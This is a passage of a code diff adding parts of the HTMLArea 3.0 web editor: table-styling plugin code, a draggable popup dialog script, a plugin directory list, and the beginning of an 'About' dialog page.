+ ["cell-delete", "td"],
+ ["cell-merge", "tr"],
+ ["cell-split", "td[colSpan!=1,rowSpan!=1]"]
+ ];
+
+
+
+//// GENERIC CODE [style of any element; this should be moved into a separate
+//// file as it'll be very useful]
+//// BEGIN GENERIC CODE -----------------------------------------------------
+
+TableOperations.getLength = function(value) {
+ var len = parseInt(value);
+ if (isNaN(len)) {
+ len = "";
+ }
+ return len;
+};
+
+// Applies the style found in "params" to the given element.
+TableOperations.processStyle = function(params, element) {
+ var style = element.style;
+ for (var i in params) {
+ var val = params[i];
+ switch (i) {
+ case "f_st_backgroundColor":
+ style.backgroundColor = val;
+ break;
+ case "f_st_color":
+ style.color = val;
+ break;
+ case "f_st_backgroundImage":
+ if (/\S/.test(val)) {
+ style.backgroundImage = "url(" + val + ")";
+ } else {
+ style.backgroundImage = "none";
+ }
+ break;
+ case "f_st_borderWidth":
+ style.borderWidth = val;
+ break;
+ case "f_st_borderStyle":
+ style.borderStyle = val;
+ break;
+ case "f_st_borderColor":
+ style.borderColor = val;
+ break;
+ case "f_st_borderCollapse":
+ style.borderCollapse = val ? "collapse" : "";
+ break;
+ case "f_st_width":
+ if (/\S/.test(val)) {
+ style.width = val + params["f_st_widthUnit"];
+ } else {
+ style.width = "";
+ }
+ break;
+ case "f_st_height":
+ if (/\S/.test(val)) {
+ style.height = val + params["f_st_heightUnit"];
+ } else {
+ style.height = "";
+ }
+ break;
+ case "f_st_textAlign":
+ if (val == "char") {
+ var ch = params["f_st_textAlignChar"];
+ if (ch == '"') {
+ ch = '\\"';
+ }
+ style.textAlign = '"' + ch + '"';
+ } else {
+ style.textAlign = val;
+ }
+ break;
+ case "f_st_verticalAlign":
+ style.verticalAlign = val;
+ break;
+ case "f_st_float":
+ style.cssFloat = val;
+ break;
+// case "f_st_margin":
+// style.margin = val + "px";
+// break;
+// case "f_st_padding":
+// style.padding = val + "px";
+// break;
+ }
+ }
+};
+
+// Returns an HTML element for a widget that allows color selection. That is,
+// a button that contains the given color, if any, and when pressed will popup
+// the sooner-or-later-to-be-rewritten select_color.html dialog allowing user
+// to select some color. If a color is selected, an input field with the name
+// "f_st_"+name will be updated with the color value in #123456 format.
+TableOperations.createColorButton = function(doc, editor, color, name) {
+ if (!color) {
+ color = "";
+ } else if (!/#/.test(color)) {
+ color = HTMLArea._colorToRgb(color);
+ }
+
+ var df = doc.createElement("span");
+ var field = doc.createElement("input");
+ field.type = "hidden";
+ df.appendChild(field);
+ field.name = "f_st_" + name;
+ field.value = color;
+ var button = doc.createElement("span");
+ button.className = "buttonColor";
+ df.appendChild(button);
+ var span = doc.createElement("span");
+ span.className = "chooser";
+ // span.innerHTML = " ";
+ span.style.backgroundColor = color;
+ button.appendChild(span);
+ button.onmouseover = function() { if (!this.disabled) { this.className += " buttonColor-hilite"; }};
+ button.onmouseout = function() { if (!this.disabled) { this.className = "buttonColor"; }};
+ span.onclick = function() {
+ if (this.parentNode.disabled) {
+ return false;
+ }
+ editor._popupDialog("select_color.html", function(color) {
+ if (color) {
+ span.style.backgroundColor = "#" + color;
+ field.value = "#" + color;
+ }
+ }, color);
+ };
+ var span2 = doc.createElement("span");
+ span2.innerHTML = "×";
+ span2.className = "nocolor";
+ span2.title = TableOperations.I18N["Unset color"];
+ button.appendChild(span2);
+ span2.onmouseover = function() { if (!this.parentNode.disabled) { this.className += " nocolor-hilite"; }};
+ span2.onmouseout = function() { if (!this.parentNode.disabled) { this.className = "nocolor"; }};
+ span2.onclick = function() {
+ span.style.backgroundColor = "";
+ field.value = "";
+ };
+ return df;
+};
+
+TableOperations.createStyleLayoutFieldset = function(doc, editor, el) {
+ var i18n = TableOperations.I18N;
+ var fieldset = doc.createElement("fieldset");
+ var legend = doc.createElement("legend");
+ fieldset.appendChild(legend);
+ legend.innerHTML = i18n["Layout"];
+ var table = doc.createElement("table");
+ fieldset.appendChild(table);
+ table.style.width = "100%";
+ var tbody = doc.createElement("tbody");
+ table.appendChild(tbody);
+
+ var tagname = el.tagName.toLowerCase();
+ var tr, td, input, select, option, options, i;
+
+ if (tagname != "td" && tagname != "tr" && tagname != "th") {
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ td.className = "label";
+ tr.appendChild(td);
+ td.innerHTML = i18n["Float"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ select = doc.createElement("select");
+ td.appendChild(select);
+ select.name = "f_st_float";
+ options = ["None", "Left", "Right"];
+ for (i in options) {
+ var Val = options[i];
+ var val = options[i].toLowerCase();
+ option = doc.createElement("option");
+ option.innerHTML = i18n[Val];
+ option.value = val;
+ option.selected = (("" + el.style.cssFloat).toLowerCase() == val);
+ select.appendChild(option);
+ }
+ }
+
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ td.className = "label";
+ tr.appendChild(td);
+ td.innerHTML = i18n["Width"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ input = doc.createElement("input");
+ input.type = "text";
+ input.value = TableOperations.getLength(el.style.width);
+ input.size = "5";
+ input.name = "f_st_width";
+ input.style.marginRight = "0.5em";
+ td.appendChild(input);
+ select = doc.createElement("select");
+ select.name = "f_st_widthUnit";
+ option = doc.createElement("option");
+ option.innerHTML = i18n["percent"];
+ option.value = "%";
+ option.selected = /%/.test(el.style.width);
+ select.appendChild(option);
+ option = doc.createElement("option");
+ option.innerHTML = i18n["pixels"];
+ option.value = "px";
+ option.selected = /px/.test(el.style.width);
+ select.appendChild(option);
+ td.appendChild(select);
+
+ select.style.marginRight = "0.5em";
+ td.appendChild(doc.createTextNode(i18n["Text align"] + ":"));
+ select = doc.createElement("select");
+ select.style.marginLeft = select.style.marginRight = "0.5em";
+ td.appendChild(select);
+ select.name = "f_st_textAlign";
+ options = ["Left", "Center", "Right", "Justify"];
+ if (tagname == "td") {
+ options.push("Char");
+ }
+ input = doc.createElement("input");
+ input.name = "f_st_textAlignChar";
+ input.size = "1";
+ input.style.fontFamily = "monospace";
+ td.appendChild(input);
+ for (i in options) {
+ var Val = options[i];
+ var val = Val.toLowerCase();
+ option = doc.createElement("option");
+ option.value = val;
+ option.innerHTML = i18n[Val];
+ option.selected = (el.style.textAlign.toLowerCase() == val);
+ select.appendChild(option);
+ }
+ function setCharVisibility(value) {
+ input.style.visibility = value ? "visible" : "hidden";
+ if (value) {
+ input.focus();
+ input.select();
+ }
+ };
+ select.onchange = function() { setCharVisibility(this.value == "char"); };
+ setCharVisibility(select.value == "char");
+
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ td.className = "label";
+ tr.appendChild(td);
+ td.innerHTML = i18n["Height"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ input = doc.createElement("input");
+ input.type = "text";
+ input.value = TableOperations.getLength(el.style.height);
+ input.size = "5";
+ input.name = "f_st_height";
+ input.style.marginRight = "0.5em";
+ td.appendChild(input);
+ select = doc.createElement("select");
+ select.name = "f_st_heightUnit";
+ option = doc.createElement("option");
+ option.innerHTML = i18n["percent"];
+ option.value = "%";
+ option.selected = /%/.test(el.style.height);
+ select.appendChild(option);
+ option = doc.createElement("option");
+ option.innerHTML = i18n["pixels"];
+ option.value = "px";
+ option.selected = /px/.test(el.style.height);
+ select.appendChild(option);
+ td.appendChild(select);
+
+ select.style.marginRight = "0.5em";
+ td.appendChild(doc.createTextNode(i18n["Vertical align"] + ":"));
+ select = doc.createElement("select");
+ select.name = "f_st_verticalAlign";
+ select.style.marginLeft = "0.5em";
+ td.appendChild(select);
+ options = ["Top", "Middle", "Bottom", "Baseline"];
+ for (i in options) {
+ var Val = options[i];
+ var val = Val.toLowerCase();
+ option = doc.createElement("option");
+ option.value = val;
+ option.innerHTML = i18n[Val];
+ option.selected = (el.style.verticalAlign.toLowerCase() == val);
+ select.appendChild(option);
+ }
+
+ return fieldset;
+};
+
+// Returns an HTML element containing the style attributes for the given
+// element. This can be easily embedded into any dialog; the functionality is
+// also provided.
+TableOperations.createStyleFieldset = function(doc, editor, el) {
+ var i18n = TableOperations.I18N;
+ var fieldset = doc.createElement("fieldset");
+ var legend = doc.createElement("legend");
+ fieldset.appendChild(legend);
+ legend.innerHTML = i18n["CSS Style"];
+ var table = doc.createElement("table");
+ fieldset.appendChild(table);
+ table.style.width = "100%";
+ var tbody = doc.createElement("tbody");
+ table.appendChild(tbody);
+
+ var tr, td, input, select, option, options, i;
+
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ td.className = "label";
+ td.innerHTML = i18n["Background"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ var df = TableOperations.createColorButton(doc, editor, el.style.backgroundColor, "backgroundColor");
+ df.firstChild.nextSibling.style.marginRight = "0.5em";
+ td.appendChild(df);
+ td.appendChild(doc.createTextNode(i18n["Image URL"] + ": "));
+ input = doc.createElement("input");
+ input.type = "text";
+ input.name = "f_st_backgroundImage";
+ if (el.style.backgroundImage.match(/url\(\s*(.*?)\s*\)/)) {
+ input.value = RegExp.$1;
+ }
+ // input.style.width = "100%";
+ td.appendChild(input);
+
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ td.className = "label";
+ td.innerHTML = i18n["FG Color"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ td.appendChild(TableOperations.createColorButton(doc, editor, el.style.color, "color"));
+
+ // for better alignment we include an invisible field.
+ input = doc.createElement("input");
+ input.style.visibility = "hidden";
+ input.type = "text";
+ td.appendChild(input);
+
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ td.className = "label";
+ td.innerHTML = i18n["Border"] + ":";
+ td = doc.createElement("td");
+ tr.appendChild(td);
+
+ var colorButton = TableOperations.createColorButton(doc, editor, el.style.borderColor, "borderColor");
+ var btn = colorButton.firstChild.nextSibling;
+ td.appendChild(colorButton);
+ // borderFields.push(btn);
+ btn.style.marginRight = "0.5em";
+
+ select = doc.createElement("select");
+ var borderFields = [];
+ td.appendChild(select);
+ select.name = "f_st_borderStyle";
+ options = ["none", "dotted", "dashed", "solid", "double", "groove", "ridge", "inset", "outset"];
+ var currentBorderStyle = el.style.borderStyle;
+ // Gecko reports "solid solid solid solid" for "border-style: solid".
+ // That is, "top right bottom left" -- we only consider the first
+ // value.
+ (currentBorderStyle.match(/([^\s]*)\s/)) && (currentBorderStyle = RegExp.$1);
+ for (i in options) {
+ var val = options[i];
+ option = doc.createElement("option");
+ option.value = val;
+ option.innerHTML = val;
+ (val == currentBorderStyle) && (option.selected = true);
+ select.appendChild(option);
+ }
+ select.style.marginRight = "0.5em";
+ function setBorderFieldsStatus(value) {
+ for (i in borderFields) {
+ var el = borderFields[i];
+ el.style.visibility = value ? "hidden" : "visible";
+ if (!value && (el.tagName.toLowerCase() == "input")) {
+ el.focus();
+ el.select();
+ }
+ }
+ };
+ select.onchange = function() { setBorderFieldsStatus(this.value == "none"); };
+
+ input = doc.createElement("input");
+ borderFields.push(input);
+ input.type = "text";
+ input.name = "f_st_borderWidth";
+ input.value = TableOperations.getLength(el.style.borderWidth);
+ input.size = "5";
+ td.appendChild(input);
+ input.style.marginRight = "0.5em";
+ var span = doc.createElement("span");
+ span.innerHTML = i18n["pixels"];
+ td.appendChild(span);
+ borderFields.push(span);
+
+ setBorderFieldsStatus(select.value == "none");
+
+ if (el.tagName.toLowerCase() == "table") {
+ // the border-collapse style is only for tables
+ tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ td = doc.createElement("td");
+ td.className = "label";
+ tr.appendChild(td);
+ input = doc.createElement("input");
+ input.type = "checkbox";
+ input.name = "f_st_borderCollapse";
+ input.id = "f_st_borderCollapse";
+ var val = (/collapse/i.test(el.style.borderCollapse));
+ input.checked = val ? 1 : 0;
+ td.appendChild(input);
+
+ td = doc.createElement("td");
+ tr.appendChild(td);
+ var label = doc.createElement("label");
+ label.htmlFor = "f_st_borderCollapse";
+ label.innerHTML = i18n["Collapsed borders"];
+ td.appendChild(label);
+ }
+
+// tr = doc.createElement("tr");
+// tbody.appendChild(tr);
+// td = doc.createElement("td");
+// td.className = "label";
+// tr.appendChild(td);
+// td.innerHTML = i18n["Margin"] + ":";
+// td = doc.createElement("td");
+// tr.appendChild(td);
+// input = doc.createElement("input");
+// input.type = "text";
+// input.size = "5";
+// input.name = "f_st_margin";
+// td.appendChild(input);
+// input.style.marginRight = "0.5em";
+// td.appendChild(doc.createTextNode(i18n["Padding"] + ":"));
+
+// input = doc.createElement("input");
+// input.type = "text";
+// input.size = "5";
+// input.name = "f_st_padding";
+// td.appendChild(input);
+// input.style.marginLeft = "0.5em";
+// input.style.marginRight = "0.5em";
+// td.appendChild(doc.createTextNode(i18n["pixels"]));
+
+ return fieldset;
+};
+
+//// END GENERIC CODE -------------------------------------------------------
--- /dev/null
+<files>
+ <dir name="SpellChecker" />
+ <dir name="TableOperations" />
+ <dir name="FullPage" />
+ <dir name="CSS" />
+ <dir name="ContextMenu" />
+ <dir name="HtmlTidy" />
+ <dir name="ListType" />
+</files>
--- /dev/null
+/** This file is derived from PopupDiv, developed by Mihai Bazon for
+ * SamWare.net. Modifications were needed to make it usable in HTMLArea.
+ * HTMLArea is a free WYSIWYG online HTML editor from InteractiveTools.com.
+ *
+ * This file does not function standalone. It is dependent of global functions
+ * defined in HTMLArea-3.0 (htmlarea.js).
+ *
+ * Please see file htmlarea.js for further details.
+ **/
+
+var is_ie = ( (navigator.userAgent.toLowerCase().indexOf("msie") != -1) &&
+ (navigator.userAgent.toLowerCase().indexOf("opera") == -1) );
+var is_compat = (document.compatMode == "BackCompat");
+
+function PopupDiv(editor, titleText, handler, initFunction) {
+ var self = this;
+
+ this.editor = editor;
+ this.doc = editor._mdoc;
+ this.handler = handler;
+
+ var el = this.doc.createElement("div");
+ el.className = "content";
+
+ var popup = this.doc.createElement("div");
+ popup.className = "dialog popupdiv";
+ this.element = popup;
+ var s = popup.style;
+ s.position = "absolute";
+ s.left = "0px";
+ s.top = "0px";
+
+ var title = this.doc.createElement("div");
+ title.className = "title";
+ this.title = title;
+ popup.appendChild(title);
+
+ HTMLArea._addEvent(title, "mousedown", function(ev) {
+ self._dragStart(is_ie ? window.event : ev);
+ });
+
+ var button = this.doc.createElement("div");
+ button.className = "button";
+ title.appendChild(button);
+ button.innerHTML = "×";
+ title.appendChild(this.doc.createTextNode(titleText));
+ this.titleText = titleText;
+
+ button.onmouseover = function() {
+ this.className += " button-hilite";
+ };
+ button.onmouseout = function() {
+ this.className = this.className.replace(/\s*button-hilite\s*/g, " ");
+ };
+ button.onclick = function() {
+ this.className = this.className.replace(/\s*button-hilite\s*/g, " ");
+ self.close();
+ };
+
+ popup.appendChild(el);
+ this.content = el;
+
+ this.doc.body.appendChild(popup);
+
+ this.dragging = false;
+ this.onShow = null;
+ this.onClose = null;
+ this.modal = false;
+
+ initFunction(this);
+};
+
+PopupDiv.currentPopup = null;
+
+PopupDiv.prototype.showAtElement = function(el, mode) {
+ this.defaultSize();
+ var pos, ew, eh;
+ var popup = this.element;
+ popup.style.display = "block";
+ var w = popup.offsetWidth;
+ var h = popup.offsetHeight;
+ popup.style.display = "none";
+ if (el != window) {
+ pos = PopupDiv.getAbsolutePos(el);
+ ew = el.offsetWidth;
+ eh = el.offsetHeight;
+ } else {
+ pos = {x:0, y:0};
+ var size = PopupDiv.getWindowSize();
+ ew = size.x;
+ eh = size.y;
+ }
+ var FX = false, FY = false;
+ if (mode.indexOf("l") != -1) {
+ pos.x -= w;
+ FX = true;
+ }
+ if (mode.indexOf("r") != -1) {
+ pos.x += ew;
+ FX = true;
+ }
+ if (mode.indexOf("t") != -1) {
+ pos.y -= h;
+ FY = true;
+ }
+ if (mode.indexOf("b") != -1) {
+ pos.y += eh;
+ FY = true;
+ }
+ if (mode.indexOf("c") != -1) {
+ FX || (pos.x += Math.round((ew - w) / 2));
+ FY || (pos.y += Math.round((eh - h) / 2));
+ }
+ this.showAt(pos.x, pos.y);
+};
+
+PopupDiv.prototype.defaultSize = function() {
+ var s = this.element.style;
+ var cs = this.element.currentStyle;
+ var addX = (is_ie && is_compat) ? (parseInt(cs.borderLeftWidth) +
+ parseInt(cs.borderRightWidth) +
+ parseInt(cs.paddingLeft) +
+ parseInt(cs.paddingRight)) : 0;
+ var addY = (is_ie && is_compat) ? (parseInt(cs.borderTopWidth) +
+ parseInt(cs.borderBottomWidth) +
+ parseInt(cs.paddingTop) +
+ parseInt(cs.paddingBottom)) : 0;
+ s.display = "block";
+ s.width = (this.content.offsetWidth + addX) + "px";
+ s.height = (this.content.offsetHeight + this.title.offsetHeight) + "px";
+ s.display = "none";
+};
+
+PopupDiv.prototype.showAt = function(x, y) {
+ this.defaultSize();
+ var s = this.element.style;
+ s.display = "block";
+ s.left = x + "px";
+ s.top = y + "px";
+ this.hideShowCovered();
+
+ PopupDiv.currentPopup = this;
+ HTMLArea._addEvents(this.doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+ HTMLArea._addEvents(this.editor._doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+ if (is_ie && this.modal) {
+ this.doc.body.setCapture(false);
+ this.doc.body.onlosecapture = function() {
+ (PopupDiv.currentPopup) && (this.doc.body.setCapture(false));
+ };
+ }
+ window.event && HTMLArea._stopEvent(window.event);
+
+ if (typeof this.onShow == "function") {
+ this.onShow();
+ } else if (typeof this.onShow == "string") {
+ eval(this.onShow);
+ }
+
+ var field = this.element.getElementsByTagName("input")[0];
+ if (!field) {
+ field = this.element.getElementsByTagName("select")[0];
+ }
+ if (!field) {
+ field = this.element.getElementsByTagName("textarea")[0];
+ }
+ if (field) {
+ field.focus();
+ }
+};
+
+PopupDiv.prototype.close = function() {
+ this.element.style.display = "none";
+ PopupDiv.currentPopup = null;
+ this.hideShowCovered();
+ HTMLArea._removeEvents(this.doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+ HTMLArea._removeEvents(this.editor._doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+ is_ie && this.modal && this.doc.body.releaseCapture();
+ if (typeof this.onClose == "function") {
+ this.onClose();
+ } else if (typeof this.onClose == "string") {
+ eval(this.onClose);
+ }
+ this.element.parentNode.removeChild(this.element);
+};
+
+PopupDiv.prototype.getForm = function() {
+ var forms = this.content.getElementsByTagName("form");
+ return (forms.length > 0) ? forms[0] : null;
+};
+
+PopupDiv.prototype.callHandler = function() {
+ var tags = ["input", "textarea", "select"];
+ var params = new Object();
+ for (var ti in tags) {
+ var tag = tags[ti];
+ var els = this.content.getElementsByTagName(tag);
+ for (var j = 0; j < els.length; ++j) {
+ var el = els[j];
+ params[el.name] = el.value;
+ }
+ }
+ this.handler(this, params);
+ return false;
+};
+
+PopupDiv.getAbsolutePos = function(el) {
+ var r = { x: el.offsetLeft, y: el.offsetTop };
+ if (el.offsetParent) {
+ var tmp = PopupDiv.getAbsolutePos(el.offsetParent);
+ r.x += tmp.x;
+ r.y += tmp.y;
+ }
+ return r;
+};
+
+PopupDiv.getWindowSize = function() {
+ if (window.innerHeight) {
+ return { y: window.innerHeight, x: window.innerWidth };
+ }
+ if (this.doc.body.clientHeight) {
+ return { y: this.doc.body.clientHeight, x: this.doc.body.clientWidth };
+ }
+ return { y: this.doc.documentElement.clientHeight, x: this.doc.documentElement.clientWidth };
+};
+
+PopupDiv.prototype.hideShowCovered = function () {
+ var self = this;
+ function isContained(el) {
+ while (el) {
+ if (el == self.element) {
+ return true;
+ }
+ el = el.parentNode;
+ }
+ return false;
+ };
+ var tags = new Array("applet", "select");
+ var el = this.element;
+
+ var p = PopupDiv.getAbsolutePos(el);
+ var EX1 = p.x;
+ var EX2 = el.offsetWidth + EX1;
+ var EY1 = p.y;
+ var EY2 = el.offsetHeight + EY1;
+
+ if (el.style.display == "none") {
+ EX1 = EX2 = EY1 = EY2 = 0;
+ }
+
+ for (var k = tags.length; k > 0; ) {
+ var ar = this.doc.getElementsByTagName(tags[--k]);
+ var cc = null;
+
+ for (var i = ar.length; i > 0;) {
+ cc = ar[--i];
+ if (isContained(cc)) {
+ cc.style.visibility = "visible";
+ continue;
+ }
+
+ p = PopupDiv.getAbsolutePos(cc);
+ var CX1 = p.x;
+ var CX2 = cc.offsetWidth + CX1;
+ var CY1 = p.y;
+ var CY2 = cc.offsetHeight + CY1;
+
+ if ((CX1 > EX2) || (CX2 < EX1) || (CY1 > EY2) || (CY2 < EY1)) {
+ cc.style.visibility = "visible";
+ } else {
+ cc.style.visibility = "hidden";
+ }
+ }
+ }
+};
+
+PopupDiv.prototype._dragStart = function (ev) {
+ if (this.dragging) {
+ return false;
+ }
+ this.dragging = true;
+ PopupDiv.currentPopup = this;
+ var posX = ev.clientX;
+ var posY = ev.clientY;
+ if (is_ie) {
+ posY += this.doc.body.scrollTop;
+ posX += this.doc.body.scrollLeft;
+ } else {
+ posY += window.scrollY;
+ posX += window.scrollX;
+ }
+ var st = this.element.style;
+ this.xOffs = posX - parseInt(st.left);
+ this.yOffs = posY - parseInt(st.top);
+ HTMLArea._addEvent(this.doc, "mousemove", PopupDiv.dragIt);
+ HTMLArea._addEvent(this.doc, "mouseover", HTMLArea._stopEvent);
+ HTMLArea._addEvent(this.doc, "mouseup", PopupDiv.dragEnd);
+ HTMLArea._stopEvent(ev);
+};
+
+PopupDiv.dragIt = function (ev) {
+ var popup = PopupDiv.currentPopup;
+ if (!(popup && popup.dragging)) {
+ return false;
+ }
+ is_ie && (ev = window.event);
+ var posX = ev.clientX;
+ var posY = ev.clientY;
+ if (is_ie) {
+ posY += this.doc.body.scrollTop;
+ posX += this.doc.body.scrollLeft;
+ } else {
+ posY += window.scrollY;
+ posX += window.scrollX;
+ }
+ popup.hideShowCovered();
+ var st = popup.element.style;
+ st.left = (posX - popup.xOffs) + "px";
+ st.top = (posY - popup.yOffs) + "px";
+ HTMLArea._stopEvent(ev);
+};
+
+PopupDiv.dragEnd = function () {
+ var popup = PopupDiv.currentPopup;
+ if (!popup) {
+ return false;
+ }
+ popup.dragging = false;
+ HTMLArea._removeEvent(popup.doc, "mouseup", PopupDiv.dragEnd);
+ HTMLArea._removeEvent(popup.doc, "mouseover", HTMLArea._stopEvent);
+ HTMLArea._removeEvent(popup.doc, "mousemove", PopupDiv.dragIt);
+ popup.hideShowCovered();
+};
+
+PopupDiv.checkPopup = function (ev) {
+ is_ie && (ev = window.event);
+ var el = is_ie ? ev.srcElement : ev.target;
+ var cp = PopupDiv.currentPopup;
+ for (; (el != null) && (el != cp.element); el = el.parentNode);
+ if (el == null) {
+ cp.modal || ev.type == "mouseover" || cp.close();
+ HTMLArea._stopEvent(ev);
+ }
+};
+
+PopupDiv.prototype.addButtons = function() {
+ var self = this;
+ var div = this.doc.createElement("div");
+ this.content.appendChild(div);
+ div.className = "buttons";
+ for (var i = 0; i < arguments.length; ++i) {
+ var btn = arguments[i];
+ var button = this.doc.createElement("button");
+ div.appendChild(button);
+ button.innerHTML = HTMLArea.I18N.buttons[btn];
+ switch (btn) {
+ case "ok":
+ button.onclick = function() {
+ self.callHandler();
+ self.close();
+ };
+ break;
+ case "cancel":
+ button.onclick = function() {
+ self.close();
+ };
+ break;
+ }
+ }
+};
--- /dev/null
+<!--
+
+(c) dynarch.com, 2003-2004
+Author: Mihai Bazon, http://dynarch.com/mishoo
+Distributed as part of HTMLArea 3.0
+
+"You are not expected to understand this... I don't neither."
+
+ (from The Linux Kernel Source Code,
+ ./arch/x86_64/ia32/ptrace.c:90)
+
+;-)
+
+-->
+
+<html style="height: 100%">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<title>About HTMLArea</title>
+<script type="text/javascript" src="popup.js"></script>
+<script type="text/javascript">
+window.resizeTo(450, 250);
+var TABS = [];
+var CURRENT_TAB = 0;
+var CONTENT_HEIGHT_DIFF = 0;
+var CONTENT_WIDTH_DIFF = 0;
+function selectTab(idx) {
+ var ct = TABS[CURRENT_TAB];
+ ct.className = ct.className.replace(/\s*tab-current\s*/, ' ');
+ ct = TABS[CURRENT_TAB = idx];
+ ct.className += ' tab-current';
+ for (var i = TABS.length; --i >= 0;) {
+ var area = document.getElementById("tab-area-" + i);
+ if (CURRENT_TAB == i) {
+ area.style.display = "block";
+ } else {
+ area.style.display = "none";
+ }
+ }
+ document.body.style.visibility = "hidden";
+ document.body.style.visibility = "visible";
+ document.cookie = "HTMLAREA-ABOUT-TAB=" + idx;
+}
+var editor = null;
+function initDocument() {
+ editor = window.dialogArguments;
+ HTMLArea = window.opener.HTMLArea;
+
+ var plugins = document.getElementById("plugins");
+ var j = 0;
+ var html = "<table width='99%' cellpadding='0' style='margin-top: 1em; collapse-borders: collapse; border: 1px solid #8b8;'>" +
+ "<thead><tr>" +
+ "<td>Name</td>" +
+ "<td>Developer</td>" +
+ "<td>Sponsored by</td>" +
+ "<td>License<sup>*</sup></td>" +
+ "</tr></thead><tbody>";
+ for (var i in editor.plugins) {
+ var info = editor.plugins[i];
+ html += "<tr><td>" + info.name + " v" + info.version + "</td>" +
+ "<td><a href='" + info.developer_url + "' target='_blank' title='Visit developer website'>" +
+ info.developer + "</a></td>" +
+ "<td><a href='" + info.sponsor_url + "' target='_blank' title='Visit sponsor website'>" +
+ info.sponsor + "</a></td>" +
+ "<td>" + info.license + "</td></tr>";
+ ++j;
+ }
+
+ if (j) {
+ html += "</tbody></table>" +
+ "<p><sup>*</sup> License \"htmlArea\" means that the plugin is distributed under the same terms " +
+ "as HTMLArea itself. Such plugins are likely to be those included in the official " +
+ "HTMLArea distribution</p>";
+ plugins.innerHTML = "<p>The following plugins have been loaded.</p>" + html;
+ } else {
+ plugins.innerHTML = "<p>No plugins have been loaded</p>";
+ }
+
+ plugins.innerHTML += "<p>User agent reports:<br/>" + navigator.userAgent + "</p>";
+
+ var content = document.getElementById("content");
+ if (window.innerHeight) {
+ CONTENT_HEIGHT_DIFF = window.innerHeight - 250;
+ CONTENT_WIDTH_DIFF = window.innerWidth - content.offsetWidth;
+ } else {
+ CONTENT_HEIGHT_DIFF = document.body.offsetHeight - 250;
+ CONTENT_WIDTH_DIFF = document.body.offsetWidth - 400;
+ }
+ window.onresize();
+ var bar = document.getElementById("tabbar");
+ j = 0;
+ for (var i = bar.firstChild; i; i = i.nextSibling) {
+ TABS.push(i);
+ i.__msh_tab = j;
+ i.onmousedown = function(ev) { selectTab(this.__msh_tab); HTMLArea._stopEvent(ev || window.event); };
+ var area = document.getElementById("tab-area-" + j);
+ if (/tab-current/.test(i.className)) {
+ CURRENT_TAB = j;
+ area.style.display = "block";
+ } else {
+ area.style.display = "none";
+ }
+ ++j;
+ }
+ if (document.cookie.match(/HTMLAREA-ABOUT-TAB=([0-9]+)/))
+ selectTab(RegExp.$1);
+}
+window.onresize = function() {
+ var content = document.getElementById("content");
+ if (window.innerHeight) {
+ content.style.height = (window.innerHeight - CONTENT_HEIGHT_DIFF) + "px";
+ content.style.width = (window.innerWidth - CONTENT_WIDTH_DIFF) + "px";
+ } else {
+ content.style.height = (document.body.offsetHeight - CONTENT_HEIGHT_DIFF) + "px";
+ //content.style.width = (document.body.offsetWidth - CONTENT_WIDTH_DIFF) + "px";
+ }
+}
+</script>
+<style>
+ html,body,textarea,table { font-family: tahoma,verdana,arial; font-size: 11px;
+padding: 0px; margin: 0px; }
+ tt { font-size: 120%; }
+ body { padding: 0px; background: #cea; color: 000; }
+ a:link, a:visited { color: #00f; }
+ a:hover { color: #f00; }
+ a:active { color: #f80; }
+ button { font: 11px tahoma,verdana,sans-serif; background-color: #cea;
+ border-width: 1px; }
+
+ p { margin: 0.5em 0px; }
+
+ h1 { font: bold 130% georgia,"times new roman",serif; margin: 0px; border-bottom: 1px solid #6a6; }
+ h2 { font: bold 110% georgia,"times new roman",serif; margin: 0.7em 0px; }
+
+ thead {
+ font-weight: bold;
+ background-color: #dfb;
+ }
+
+ .logo, .logo-hover {
+ white-space: nowrap;
+ background-color: #8f4; color: #040; padding: 3px; border-bottom: 1px solid #555;
+ height: 5em;
+ }
+ .logo .brand, .logo-hover .brand {
+ margin-left: 0.5em; margin-right: 0.5em; padding-bottom: 0.1em;
+ font-family: impact,'arial black',arial,sans-serif; font-size: 28px;
+ border-bottom: 1px solid #595; text-align: center;
+ cursor: pointer;
+ }
+ .logo-hover {
+ background-color: #fff;
+ }
+ .logo-hover .brand {
+ color: #800;
+ border-color: #04f;
+ }
+ .logo .letter, .logo-hover .letter { position: relative; font-family: monospace; }
+ .logo .letter1 { top: 0.1em; }
+ .logo .letter2 { top: 0.05em; }
+ .logo .letter3 { top: -0.05em; }
+ .logo .letter4 { top: -0.1em; }
+
+ .logo-hover .letter1 { top: -0.1em; }
+ .logo-hover .letter2 { top: -0.05em; }
+ .logo-hover .letter3 { top: 0.05em; }
+ .logo-hover .letter4 { top: 0.1em; }
+ .logo .version, .logo-hover .version { font-family: georgia,"times new roman",serif; }
+ .logo .release {
+ font-size: 90%; margin-bottom: 1em;
+ text-align: center; color: #484;
+ }
+ .logo .visit { display: none; }
+ .logo-hover .release { display: none; }
+ .logo-hover .visit {
+ font-size: 90%; margin-bottom: 1em;
+ text-align: center; color: #448;
+ }
+ .buttons {
+ text-align: right; padding: 3px; background-color: #8f4;
+ border-top: 1px solid #555;
+ }
+ #tabbar {
+ position: relative;
+ left: 10px;
+ }
+ .tab {
+ color: #454;
+ cursor: pointer;
+ margin-left: -5px;
+ float: left; position: relative;
+ border: 1px solid #555;
+ top: -3px; left: -2px;
+ padding: 2px 10px 3px 10px;
+ border-top: none; background-color: #9b7;
